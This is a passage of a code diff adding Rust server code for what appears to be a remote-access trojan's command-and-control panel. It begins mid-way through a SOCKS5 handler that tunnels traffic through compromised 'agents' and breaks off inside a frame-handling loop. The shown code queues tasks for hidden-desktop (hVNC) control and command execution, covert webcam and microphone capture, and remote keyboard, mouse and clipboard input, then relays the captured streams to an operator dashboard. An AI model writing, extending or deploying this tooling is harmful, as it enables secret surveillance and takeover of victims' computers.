u16::from_be_bytes([buf[domain_len], buf[domain_len + 1]]); + (domain, port) + } + 0x04 => { + // IPv6 + stream.read_exact(&mut buf[..18]).await?; + let ip = format!( + "{:x}:{:x}:{:x}:{:x}:{:x}:{:x}:{:x}:{:x}", + u16::from_be_bytes([buf[0], buf[1]]), + u16::from_be_bytes([buf[2], buf[3]]), + u16::from_be_bytes([buf[4], buf[5]]), + u16::from_be_bytes([buf[6], buf[7]]), + u16::from_be_bytes([buf[8], buf[9]]), + u16::from_be_bytes([buf[10], buf[11]]), + u16::from_be_bytes([buf[12], buf[13]]), + u16::from_be_bytes([buf[14], buf[15]]), + ); + let port = u16::from_be_bytes([buf[16], buf[17]]); + (ip, port) + } + _ => { + stream.write_all(&[0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + return Err("unsupported address type".into()); + } + }; + + info!(host = %host, port = port, "SOCKS5 CONNECT request"); + + // ── Allocate channel & send OPEN to agent ──────────────────────── + let channel_id = session.alloc_channel_id(); + let (client_tx, mut client_rx) = mpsc::channel::(4096); + let (open_tx, open_rx) = oneshot::channel(); + + session.channels.insert(channel_id, Socks5Channel { + channel_id, + client_tx, + open_result_tx: Some(open_tx), + }); + + let open_msg = build_open(channel_id, &host, port); + if session.agent_tx.send(open_msg).await.is_err() { + session.close_channel(channel_id); + stream.write_all(&[0x05, 0x01, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + return Err("agent channel closed".into()); + } + + // Wait for OPEN_OK or OPEN_FAIL + let open_result = tokio::time::timeout( + std::time::Duration::from_secs(30), + open_rx, + ) + .await; + + match open_result { + Ok(Ok(Ok(()))) => { + // Success reply + stream.write_all(&[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + } + Ok(Ok(Err(reason))) => { + warn!(channel_id, "SOCKS5 OPEN_FAIL: {}", reason); + stream.write_all(&[0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + session.close_channel(channel_id); + return Ok(()); + } + _ => { + warn!(channel_id, "SOCKS5 OPEN timeout"); + stream.write_all(&[0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0]).await?; + session.close_channel(channel_id); + return Ok(()); + } + } + + // ── Bidirectional relay ────────────────────────────────────────── + let (mut reader, mut writer) = stream.into_split(); + let agent_tx = session.agent_tx.clone(); + let ch_id = channel_id; + + // TCP client → agent (chunk to u16 max for wire protocol) + let read_task = tokio::spawn(async move { + let mut buf = [0u8; 32768]; + loop { + match reader.read(&mut buf).await { + Ok(0) => break, + Ok(n) => { + let mut offset = 0; + while offset < n { + let chunk = (n - offset).min(u16::MAX as usize); + let msg = build_data(ch_id, &buf[offset..offset + chunk]); + if agent_tx.send(msg).await.is_err() { + let _ = agent_tx.send(build_close(ch_id)).await; + return; + } + offset += chunk; + } + } + Err(_) => break, + } + } + let _ = agent_tx.send(build_close(ch_id)).await; + }); + + // Agent → TCP client + let write_task = tokio::spawn(async move { + while let Some(data) = client_rx.recv().await { + if writer.write_all(&data).await.is_err() { + break; + } + } + }); + + tokio::select! { + _ = read_task => {} + _ = write_task => {} + } + + session.close_channel(channel_id); + Ok(()) +} diff --git a/src/api/vnc.rs b/src/api/vnc.rs new file mode 100755 index 0000000..18d553d --- /dev/null +++ b/src/api/vnc.rs @@ -0,0 +1,1211 @@ +use axum::{ + body::Bytes, + extract::{ + ws::{Message, WebSocket, WebSocketUpgrade}, + FromRequest, Path, Query, State, + }, + http::StatusCode, + response::IntoResponse, + Json, +}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use tokio::sync::Notify; +use tracing::{info, warn}; + +use crate::api::auth; +use crate::protocol::Task; +use crate::state::AppState; +use crate::vnc::{AudioChunk, SessionMode, VncFrame, VncInputEvent}; + +// ── DTOs ───────────────────────────────────────────────────────────── + +#[derive(Serialize)] +struct VncStartResponse { + token: String, + ws_url: String, +} + +#[derive(Deserialize)] +pub struct WsQuery { + #[serde(default)] + mode: Option, +} + +/// Post-connection auth message from client: {"type":"auth","token":"JWT"} +#[derive(Deserialize)] +struct WsAuthMessage { + r#type: String, + token: String, +} + +/// Wait for the first WS text message to authenticate the operator. +/// Returns validated claims or None (caller should close the socket). +async fn ws_auth(socket: &mut WebSocket, state: &AppState) -> Option { + let timeout = tokio::time::Duration::from_secs(10); + let msg = match tokio::time::timeout(timeout, socket.recv()).await { + Ok(Some(Ok(Message::Text(text)))) => text, + _ => return None, + }; + let auth: WsAuthMessage = match serde_json::from_str::(&msg) { + Ok(a) if a.r#type == "auth" => a, + _ => return None, + }; + if auth::is_token_revoked(&auth.token) { + return None; + } + auth::validate_token(&auth.token, &state.config.jwt_secret).ok() +} + +/// Query params for agent-side VNC WebSocket. +#[derive(Deserialize)] +pub struct AgentWsQuery { + token: String, +} + +// ── Helpers ────────────────────────────────────────────────────────── + +/// Parse mode query param string into SessionMode. +fn parse_mode(mode: Option<&str>) -> SessionMode { + match mode { + Some("hvnc") => SessionMode::Hvnc, + Some("webcam") => SessionMode::Webcam, + Some("microphone") => SessionMode::Microphone, + _ => SessionMode::Vnc, + } +} + +/// Auth + agent access check helper. Returns claims on success. +fn check_auth_and_access( + state: &AppState, + agent_id: &str, + req: &axum::extract::Request, +) -> Result { + let claims = req + .extensions() + .get::() + .cloned() + .ok_or_else(|| StatusCode::UNAUTHORIZED.into_response())?; + crate::api::routes::check_agent_access(state, agent_id, &claims) + .map_err(|s| s.into_response())?; + Ok(claims) +} + +/// Verify agent exists, returning error response if not. +fn verify_agent_exists(state: &AppState, agent_id: &str) -> Result<(), axum::response::Response> { + if state.agents.get_agent_info(agent_id).is_none() { + return Err(( + StatusCode::NOT_FOUND, + Json(serde_json::json!({"error": "agent not found"})), + ) + .into_response()); + } + Ok(()) +} + +/// Build callback URL from state config. +fn callback_url(state: &AppState) -> String { + let port = state + .config + .listener_bind + .rsplit_once(':') + .and_then(|(_, p)| p.parse::().ok()) + .unwrap_or(8443); + format!("https://{}:{}", state.config.listener_host, port) +} + +// ============================================================================ +// POST /api/agents/:id/vnc/start +// ============================================================================ + +pub async fn start_vnc( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + // Stop existing VNC session (not hVNC) + if state.vnc_sessions.get_by_agent(&agent_id, SessionMode::Vnc).is_some() { + state.vnc_sessions.stop_session(&agent_id, SessionMode::Vnc); + } + + let token = state.vnc_sessions.create_session(&agent_id, SessionMode::Vnc); + if token.is_empty() { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "too many active VNC sessions"})), + ) + .into_response(); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "vnc_start".to_string(), + args: vec![token.clone(), callback_url(&state)], + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + let ws_url = format!("/api/vnc/{}/ws?mode=vnc", agent_id); + info!(agent_id = %agent_id, "VNC session started"); + + Json(VncStartResponse { token, ws_url }).into_response() +} + +// ============================================================================ +// POST /api/agents/:id/vnc/stop +// ============================================================================ + +pub async fn stop_vnc( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + state.vnc_sessions.stop_session(&agent_id, SessionMode::Vnc); + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "vnc_stop".to_string(), + args: Vec::new(), + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, "VNC session stopped"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// POST /api/agents/:id/hvnc/start +// ============================================================================ + +pub async fn start_hvnc( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + // Stop existing hVNC session (not VNC) + if state.vnc_sessions.get_by_agent(&agent_id, SessionMode::Hvnc).is_some() { + state.vnc_sessions.stop_session(&agent_id, SessionMode::Hvnc); + } + + let token = state.vnc_sessions.create_session(&agent_id, SessionMode::Hvnc); + if token.is_empty() { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "too many active VNC sessions"})), + ) + .into_response(); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "hvnc_start".to_string(), + args: vec![token.clone(), callback_url(&state)], + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + let ws_url = format!("/api/vnc/{}/ws?mode=hvnc", agent_id); + info!(agent_id = %agent_id, "hVNC session started"); + + Json(VncStartResponse { token, ws_url }).into_response() +} + +// ============================================================================ +// POST /api/agents/:id/hvnc/stop +// ============================================================================ + +pub async fn stop_hvnc( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + state.vnc_sessions.stop_session(&agent_id, SessionMode::Hvnc); + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "hvnc_stop".to_string(), + args: Vec::new(), + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, "hVNC session stopped"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// POST /api/agents/:id/hvnc/exec +// ============================================================================ + +pub async fn hvnc_exec( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + let body: serde_json::Value = + match axum::Json::::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({"error": format!("invalid request: {}", e)})), + ) + .into_response(); + } + }; + + let command = match body.get("command").and_then(|v| v.as_str()) { + Some(c) => c.to_string(), + None => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({"error": "missing 'command' field"})), + ) + .into_response(); + } + }; + + let clone_session = body + .get("clone_session") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + let mut args = vec![command.clone()]; + if clone_session { + args.push("clone".to_string()); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "hvnc_exec".to_string(), + args, + data: Vec::new(), + timeout: 0, + }; + + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, clone_session = clone_session, "hVNC exec queued"); + Json(serde_json::json!({"status": "queued"})).into_response() +} + +// ============================================================================ +// POST /api/agents/:id/webcam/start +// ============================================================================ + +pub async fn start_webcam( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + + // Parse optional body for device_index + let body: Option = + match axum::Json::::from_request(req, &state).await { + Ok(axum::Json(b)) => Some(b), + Err(_) => None, + }; + let device_index = body + .as_ref() + .and_then(|b| b.get("device_index")) + .and_then(|v| v.as_i64()) + .map(|v| v.to_string()) + .unwrap_or_else(|| "-1".to_string()); + + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + if state.vnc_sessions.get_by_agent(&agent_id, SessionMode::Webcam).is_some() { + state.vnc_sessions.stop_session(&agent_id, SessionMode::Webcam); + } + + let token = state.vnc_sessions.create_session(&agent_id, SessionMode::Webcam); + if token.is_empty() { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "too many active sessions"})), + ) + .into_response(); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "webcam_start".to_string(), + args: vec![token.clone(), callback_url(&state), "60".to_string(), device_index], + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + let ws_url = format!("/api/vnc/{}/ws?mode=webcam", agent_id); + info!(agent_id = %agent_id, "Webcam session started"); + + Json(VncStartResponse { token, ws_url }).into_response() +} + +// ============================================================================ +// POST /api/agents/:id/webcam/stop +// ============================================================================ + +pub async fn stop_webcam( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + state.vnc_sessions.stop_session(&agent_id, SessionMode::Webcam); + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "webcam_stop".to_string(), + args: Vec::new(), + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, "Webcam session stopped"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// POST /api/agents/:id/mic/start +// ============================================================================ + +pub async fn start_mic( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let _ = match check_auth_and_access(&state, &agent_id, &req) { + Ok(c) => c, + Err(r) => return r, + }; + if let Err(r) = verify_agent_exists(&state, &agent_id) { + return r; + } + + if state.vnc_sessions.get_by_agent(&agent_id, SessionMode::Microphone).is_some() { + state.vnc_sessions.stop_session(&agent_id, SessionMode::Microphone); + } + + let token = state.vnc_sessions.create_session(&agent_id, SessionMode::Microphone); + if token.is_empty() { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "too many active sessions"})), + ) + .into_response(); + } + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "mic_start".to_string(), + args: vec![token.clone(), callback_url(&state)], + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + let ws_url = format!("/api/mic/{}/ws", agent_id); + info!(agent_id = %agent_id, "Microphone session started"); + + Json(VncStartResponse { token, ws_url }).into_response() +} + +// ============================================================================ +// POST /api/agents/:id/mic/stop +// ============================================================================ + +pub async fn stop_mic( + State(state): State>, + Path(agent_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + if let Err(r) = check_auth_and_access(&state, &agent_id, &req) { + return r; + } + state.vnc_sessions.stop_session(&agent_id, SessionMode::Microphone); + + let task = Task { + task_id: uuid::Uuid::new_v4().to_string(), + command: "mic_stop".to_string(), + args: Vec::new(), + data: Vec::new(), + timeout: 0, + }; + state.agents.queue_task(&agent_id, task); + + info!(agent_id = %agent_id, "Microphone session stopped"); + StatusCode::NO_CONTENT.into_response() +} + +// ============================================================================ +// POST /api/vnc/frame — agent posts JPEG frames here (token-authenticated) +// ============================================================================ + +pub async fn handle_vnc_frame( + State(state): State>, + body: Bytes, +) -> impl IntoResponse { + // Parse binary body: + // [4:token_len u32 LE][token][8:frame_number u64 LE][2:width u16 LE][2:height u16 LE][4:jpeg_len u32 LE][N:jpeg] + let data = body.as_ref(); + + if data.len() < 4 { + return StatusCode::BAD_REQUEST.into_response(); + } + + let token_len = u32::from_le_bytes([data[0], data[1], data[2], data[3]]) as usize; + let mut offset = 4; + + // Cap token length to prevent excessive memory allocation from malicious input + if token_len > 256 { + return StatusCode::BAD_REQUEST.into_response(); + } + + if data.len() < offset + token_len { + return StatusCode::BAD_REQUEST.into_response(); + } + + let token = match std::str::from_utf8(&data[offset..offset + token_len]) { + Ok(t) => t, + Err(_) => return StatusCode::BAD_REQUEST.into_response(), + }; + offset += token_len; + + // Validate token + let session = match state.vnc_sessions.get_by_token(token) { + Some(s) => s, + None => return StatusCode::UNAUTHORIZED.into_response(), + }; + + // Check if session is still active + if !session.active.load(std::sync::atomic::Ordering::Relaxed) { + return StatusCode::GONE.into_response(); + } + + // Parse remaining header: [8:frame_num] then detect frame type + if data.len() < offset + 8 + 1 { + return StatusCode::BAD_REQUEST.into_response(); + } + + let _frame_number = u64::from_le_bytes([ + data[offset], + data[offset + 1], + data[offset + 2], + data[offset + 3], + data[offset + 4], + data[offset + 5], + data[offset + 6], + data[offset + 7], + ]); + offset += 8; + + // Detect frame type: 0x01 = tiled, anything else = legacy + let frame_type_byte = data[offset]; + + let (frame_type, width, height, payload) = if frame_type_byte == 0x01 { + // Tiled format: [1:frame_type=0x01][2:w][2:h][...tiled_data...] + if data.len() < offset + 1 + 2 + 2 { + return StatusCode::BAD_REQUEST.into_response(); + } + offset += 1; // skip frame_type byte + let w = u16::from_le_bytes([data[offset], data[offset + 1]]); + offset += 2; + let h = u16::from_le_bytes([data[offset], data[offset + 1]]); + offset += 2; + let payload = body.slice(offset..); + (0x01u8, w, h, payload) + } else { + // Legacy format: [2:w][2:h][4:jpeg_len][jpeg] + if data.len() < offset + 2 + 2 + 4 { + return StatusCode::BAD_REQUEST.into_response(); + } + let w = u16::from_le_bytes([data[offset], data[offset + 1]]); + offset += 2; + let h = u16::from_le_bytes([data[offset], data[offset + 1]]); + offset += 2; + let jpeg_len = u32::from_le_bytes([ + data[offset], + data[offset + 1], + data[offset + 2], + data[offset + 3], + ]) as usize; + offset += 4; + if data.len() < offset + jpeg_len { + return StatusCode::BAD_REQUEST.into_response(); + } + let payload = body.slice(offset..offset + jpeg_len); + (0x00u8, w, h, payload) + }; + + // Relay frame to WebSocket subscribers + let timestamp_ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis() as u64; + + let frame = VncFrame { + width, + height, + timestamp_ms, + frame_type, + payload, + }; + + state.vnc_sessions.relay_frame(token, frame); + + // Drain input queue and serialize to binary response + let events = state.vnc_sessions.drain_input(token); + if !events.is_empty() { + info!( + "VNC frame: draining {} input events for agent", + events.len() + ); + } + let response_data = serialize_input_events(&events); + + (StatusCode::OK, response_data).into_response() +} + +/// Serialize input events to binary format for the agent. +/// +/// Format: +/// [4:num_events u32 LE] +/// Per event: +/// 0x01 mouse_move: [2:x][2:y] +/// 0x02 mouse_button: [1:button][1:action][2:x][2:y] +/// 0x03 mouse_scroll: [2:delta_i16][2:x][2:y] +/// 0x04 key: [1:action][2:vk][4:scan] +/// 0x05 clipboard: [4:text_len][N:utf8] +/// 0x06 control: [1:action][1:value] +fn serialize_input_events(events: &[VncInputEvent]) -> Vec { + let mut buf = Vec::with_capacity(64); + buf.extend_from_slice(&(events.len() as u32).to_le_bytes()); + + for event in events { + match event { + VncInputEvent::MouseMove { x, y } => { + buf.push(0x01); + buf.extend_from_slice(&x.to_le_bytes()); + buf.extend_from_slice(&y.to_le_bytes()); + } + VncInputEvent::MouseButton { + button, + action, + x, + y, + } => { + buf.push(0x02); + buf.push(*button); + buf.push(*action); + buf.extend_from_slice(&x.to_le_bytes()); + buf.extend_from_slice(&y.to_le_bytes()); + } + VncInputEvent::MouseScroll { delta, x, y } => { + buf.push(0x03); + buf.extend_from_slice(&delta.to_le_bytes()); + buf.extend_from_slice(&x.to_le_bytes()); + buf.extend_from_slice(&y.to_le_bytes()); + } + VncInputEvent::Key { action, vk, scan } => { + buf.push(0x04); + buf.push(*action); + buf.extend_from_slice(&vk.to_le_bytes()); + buf.extend_from_slice(&scan.to_le_bytes()); + } + VncInputEvent::Clipboard { text } => { + buf.push(0x05); + let text_bytes = text.as_bytes(); + buf.extend_from_slice(&(text_bytes.len() as u32).to_le_bytes()); + buf.extend_from_slice(text_bytes); + } + VncInputEvent::Control { action, value } => { + buf.push(0x06); + buf.push(*action); + buf.push(*value); + } + } + } + + buf +} + +// ============================================================================ +// POST /api/mic/frame — agent posts audio chunks here (token-authenticated) +// ============================================================================ + +pub async fn handle_mic_frame( + State(state): State>, + body: Bytes, +) -> impl IntoResponse { + // Parse: [4:token_len][token][8:chunk_num][2:sample_rate][1:bps][1:channels][4:pcm_len][pcm] + let data = body.as_ref(); + + if data.len() < 4 { + return StatusCode::BAD_REQUEST.into_response(); + } + + let token_len = u32::from_le_bytes([data[0], data[1], data[2], data[3]]) as usize; + let mut offset = 4; + + if token_len > 256 || data.len() < offset + token_len { + return StatusCode::BAD_REQUEST.into_response(); + } + + let token = match std::str::from_utf8(&data[offset..offset + token_len]) { + Ok(t) => t, + Err(_) => return StatusCode::BAD_REQUEST.into_response(), + }; + offset += token_len; + + let session = match state.vnc_sessions.get_by_token(token) { + Some(s) => s, + None => return StatusCode::UNAUTHORIZED.into_response(), + }; + + if !session.active.load(std::sync::atomic::Ordering::Relaxed) { + return StatusCode::GONE.into_response(); + } + + // [8:chunk_num][2:sr][1:bps][1:ch][4:pcm_len][pcm] + if data.len() < offset + 8 + 2 + 1 + 1 + 4 { + return StatusCode::BAD_REQUEST.into_response(); + } + + // skip chunk_num + offset += 8; + + let sample_rate = u16::from_le_bytes([data[offset], data[offset + 1]]); + offset += 2; + let bits_per_sample = data[offset]; + offset += 1; + let channels = data[offset]; + offset += 1; + let pcm_len = u32::from_le_bytes([ + data[offset], + data[offset + 1], + data[offset + 2], + data[offset + 3], + ]) as usize; + offset += 4; + + if data.len() < offset + pcm_len { + return StatusCode::BAD_REQUEST.into_response(); + } + + let pcm_data = data[offset..offset + pcm_len].to_vec(); + + let timestamp_ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis() as u64; + + let chunk = AudioChunk { + sample_rate, + bits_per_sample, + channels, + timestamp_ms, + pcm_data, + }; + + state.vnc_sessions.relay_audio(token, chunk); + + StatusCode::OK.into_response() +} + +// ============================================================================ +// GET /api/vnc/:agent_id/ws — WebSocket for dashboard VNC/hVNC/Webcam viewer +// ============================================================================ + +pub async fn vnc_ws_handler( + State(state): State>, + Path(agent_id): Path, + Query(query): Query, + ws: WebSocketUpgrade, +) -> impl IntoResponse { + let mode = parse_mode(query.mode.as_deref()); + + ws.max_message_size(4 * 1024 * 1024) + .on_upgrade(move |mut socket| async move { + // Post-connection auth: wait for {"type":"auth","token":"JWT"} + let claims = match ws_auth(&mut socket, &state).await { + Some(c) => c, + None => { let _ = socket.close().await; return; } + }; + // Check agent access + if let Err(_) = crate::api::routes::check_agent_access(&state, &agent_id, &claims) { + let _ = socket.close().await; + return; + } + handle_vnc_ws(socket, agent_id, mode, state).await; + }) + .into_response() +} + +/// Parse a binary input event from the dashboard. +/// Format matches the agent serialization: [type:u8][payload...] +fn parse_binary_input_event(data: &[u8]) -> Option { + if data.is_empty() { + return None; + } + match data[0] { + 0x01 if data.len() >= 5 => { + // mouse_move: [0x01][x:u16 LE][y:u16 LE] + let x = u16::from_le_bytes([data[1], data[2]]); + let y = u16::from_le_bytes([data[3], data[4]]); + Some(VncInputEvent::MouseMove { x, y }) + } + 0x02 if data.len() >= 7 => { + // mouse_button: [0x02][btn:u8][act:u8][x:u16 LE][y:u16 LE] + let button = data[1]; + let action = data[2]; + let x = u16::from_le_bytes([data[3], data[4]]); + let y = u16::from_le_bytes([data[5], data[6]]); + Some(VncInputEvent::MouseButton { button, action, x, y }) + } + 0x03 if data.len() >= 7 => { + // mouse_scroll: [0x03][delta:i16 LE][x:u16 LE][y:u16 LE] + let delta = i16::from_le_bytes([data[1], data[2]]); + let x = u16::from_le_bytes([data[3], data[4]]); + let y = u16::from_le_bytes([data[5], data[6]]); + Some(VncInputEvent::MouseScroll { delta, x, y }) + } + 0x04 if data.len() >= 8 => { + // key: [0x04][act:u8][vk:u16 LE][scan:u32 LE] + let action = data[1]; + let vk = u16::from_le_bytes([data[2], data[3]]); + let scan = u32::from_le_bytes([data[4], data[5], data[6], data[7]]); + Some(VncInputEvent::Key { action, vk, scan }) + } + 0x05 if data.len() >= 5 => { + // clipboard: [0x05][len:u32 LE][utf8] + let text_len = u32::from_le_bytes([data[1], data[2], data[3], data[4]]) as usize; + if data.len() < 5 + text_len { + return None; + } + let text = String::from_utf8_lossy(&data[5..5 + text_len]).into_owned(); + Some(VncInputEvent::Clipboard { text }) + } + 0x06 if data.len() >= 3 => { + // control: [0x06][act:u8][val:u8] + let action = data[1]; + let value = data[2]; + Some(VncInputEvent::Control { action, value }) + } + _ => None, + } +} + +async fn handle_vnc_ws( + mut socket: WebSocket, + agent_id: String, + mode: SessionMode, + state: Arc, +) { + info!(agent_id = %agent_id, mode = ?mode, "VNC WebSocket client connected"); + + let session = match state.vnc_sessions.get_by_agent(&agent_id, mode) { + Some(s) => s, + None => { + warn!(agent_id = %agent_id, mode = ?mode, "VNC WebSocket: no active session"); + let _ = socket.close().await; + return; + } + }; + + let token = session.token.clone(); + let mut frame_rx = session.frame_sender.subscribe(); + + let idle_duration = std::time::Duration::from_secs(300); + let idle_timeout = tokio::time::sleep(idle_duration); + tokio::pin!(idle_timeout); + + loop { + tokio::select! { + frame = frame_rx.recv() => { + match frame { + Ok(f) => { + // Serialize: [2:w][2:h][8:timestamp_ms][1:frame_type][N:payload] + let mut buf = Vec::with_capacity(13 + f.payload.len()); + buf.extend_from_slice(&f.width.to_le_bytes()); + buf.extend_from_slice(&f.height.to_le_bytes()); + buf.extend_from_slice(&f.timestamp_ms.to_le_bytes()); + buf.push(f.frame_type); + buf.extend_from_slice(&f.payload); + + // Timeout send to prevent slow clients from blocking relay + let send_result = tokio::time::timeout( + std::time::Duration::from_secs(5), + socket.send(Message::Binary(buf.into())) + ).await; + match send_result { + Ok(Err(_)) => { + info!(agent_id = %agent_id, "VNC WebSocket disconnected (send failed)"); + break; + } + Err(_) => { + warn!(agent_id = %agent_id, "VNC WebSocket send timeout (slow client)"); + break; + } + Ok(Ok(())) => {} + } + } + Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => { + warn!(agent_id = %agent_id, "VNC WebSocket lagged, missed {} frames", n); + } + Err(tokio::sync::broadcast::error::RecvError::Closed) => { + info!(agent_id = %agent_id, "VNC frame channel closed"); + break; + } + } + } + + msg = socket.recv() => { + match msg { + Some(Ok(Message::Text(text))) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + match serde_json::from_str::(&text) { + Ok(event) => { + state.vnc_sessions.queue_input(&token, event); + } + Err(e) => { + warn!("VNC WebSocket: invalid JSON input event: {}", e); + } + } + } + Some(Ok(Message::Binary(data))) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + if let Some(event) = parse_binary_input_event(&data) { + state.vnc_sessions.queue_input(&token, event); + } + } + Some(Ok(Message::Close(_))) | None => { + info!(agent_id = %agent_id, "VNC WebSocket client disconnected"); + break; + } + Some(Ok(Message::Ping(data))) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + if socket.send(Message::Pong(data)).await.is_err() { + break; + } + } + Some(Ok(_)) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + } + Some(Err(e)) => { + warn!(agent_id = %agent_id, "VNC WebSocket error: {}", e); + break; + } + } + } + + _ = &mut idle_timeout => { + info!(agent_id = %agent_id, "VNC WebSocket idle timeout (5 min), closing"); + let _ = socket.close().await; + break; + } + } + } +} + +// ============================================================================ +// GET /api/vnc/ws — Agent-side WebSocket (replaces HTTP POST for frame upload) +// ============================================================================ + +pub async fn handle_agent_vnc_ws( + State(state): State>, + Query(query): Query, + req: axum::extract::Request, +) -> impl IntoResponse { + // Authenticate via token query param + let session = match state.vnc_sessions.get_by_token(&query.token) { + Some(s) => s, + None => return StatusCode::UNAUTHORIZED.into_response(), + }; + + if !session.active.load(std::sync::atomic::Ordering::Relaxed) { + return StatusCode::GONE.into_response(); + } + + let ws: WebSocketUpgrade = + match axum::extract::ws::WebSocketUpgrade::from_request(req, &state).await { + Ok(ws) => ws, + Err(e) => { + warn!("Agent VNC WebSocket upgrade failed: {}", e); + return StatusCode::BAD_REQUEST.into_response(); + } + }; + + let token = query.token.clone(); + ws.max_message_size(10 * 1024 * 1024) // 10 MiB for frame data + .on_upgrade(move |socket| handle_agent_vnc_ws_inner(socket, token, state)) + .into_response() +} + +async fn handle_agent_vnc_ws_inner( + mut socket: WebSocket, + token: String, + state: Arc, +) { + info!(token = %&token[..8], "Agent VNC WebSocket connected"); + + // Set up input notification + let input_notify = Arc::new(Notify::new()); + state.vnc_sessions.set_input_notify(&token, input_notify.clone()); + + // Periodic fallback drain interval (safety net) + let mut drain_interval = tokio::time::interval(std::time::Duration::from_millis(5)); + drain_interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + + loop { + tokio::select! { + // Receive binary frame from agent + msg = socket.recv() => { + match msg { + Some(Ok(Message::Binary(raw_data))) => { + let data_bytes = Bytes::from(raw_data); + let data: &[u8] = &data_bytes; + // Parse: [8:frame_number u64 LE][tiled_payload...] + if data.len() < 8 + 1 { + warn!("Agent WS: frame too short ({} bytes)", data.len()); + continue; + } + let _frame_number = u64::from_le_bytes([ + data[0], data[1], data[2], data[3], + data[4], data[5], data[6], data[7], + ]); + let payload_start = 8; + let frame_type_byte = data[payload_start]; + + let (frame_type, width, height, payload) = if frame_type_byte == 0x01 { + // Tiled: [1:type][2:w][2:h][rest...] + if data.len() < payload_start + 5 { + continue; + } + let off = payload_start + 1; + let w = u16::from_le_bytes([data[off], data[off + 1]]); + let h = u16::from_le_bytes([data[off + 2], data[off + 3]]); + let payload = data_bytes.slice(off + 4..); + (0x01u8, w, h, payload) + } else { + // Legacy: [2:w][2:h][4:jpeg_len][jpeg] + if data.len() < payload_start + 8 { + continue; + } + let off = payload_start; + let w = u16::from_le_bytes([data[off], data[off + 1]]); + let h = u16::from_le_bytes([data[off + 2], data[off + 3]]); + let jpeg_len = u32::from_le_bytes([ + data[off + 4], data[off + 5], data[off + 6], data[off + 7], + ]) as usize; + let pstart = off + 8; + if data.len() < pstart + jpeg_len { + continue; + } + let payload = data_bytes.slice(pstart..pstart + jpeg_len); + 